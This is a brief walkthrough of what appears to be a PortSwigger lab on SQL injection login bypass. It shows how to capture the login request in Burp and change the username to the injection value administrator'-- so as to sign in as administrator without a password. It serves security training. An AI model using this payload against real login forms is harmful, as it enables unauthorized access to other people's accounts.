SQL injection vulnerability allowing login bypass

PortSwigger

Lab Description

This lab contains a SQL injection vulnerability in the login function.

Objective: Perform a SQL injection attack that logs in to the application as the administrator user.

---

---

Step 1: Capture the Login Request

1. In Burp’s browser, access the lab
2. Go to the login page
3. In Burp Proxy, capture the POST /login request

Example request:

POST /login HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

username=wiener&password=peter

---

Step 2: Modify the Username Parameter

Original:

username=wiener&password=peter

Modified (SQL injection):

username=administrator'--&password=anything

---

Step 3: Send the Request

1. Click Send in Repeater
2. Observe the response

Expected response: 302 Found redirect to /my-account

You are logged in as administrator

---

Step 4: Lab Solved

---

---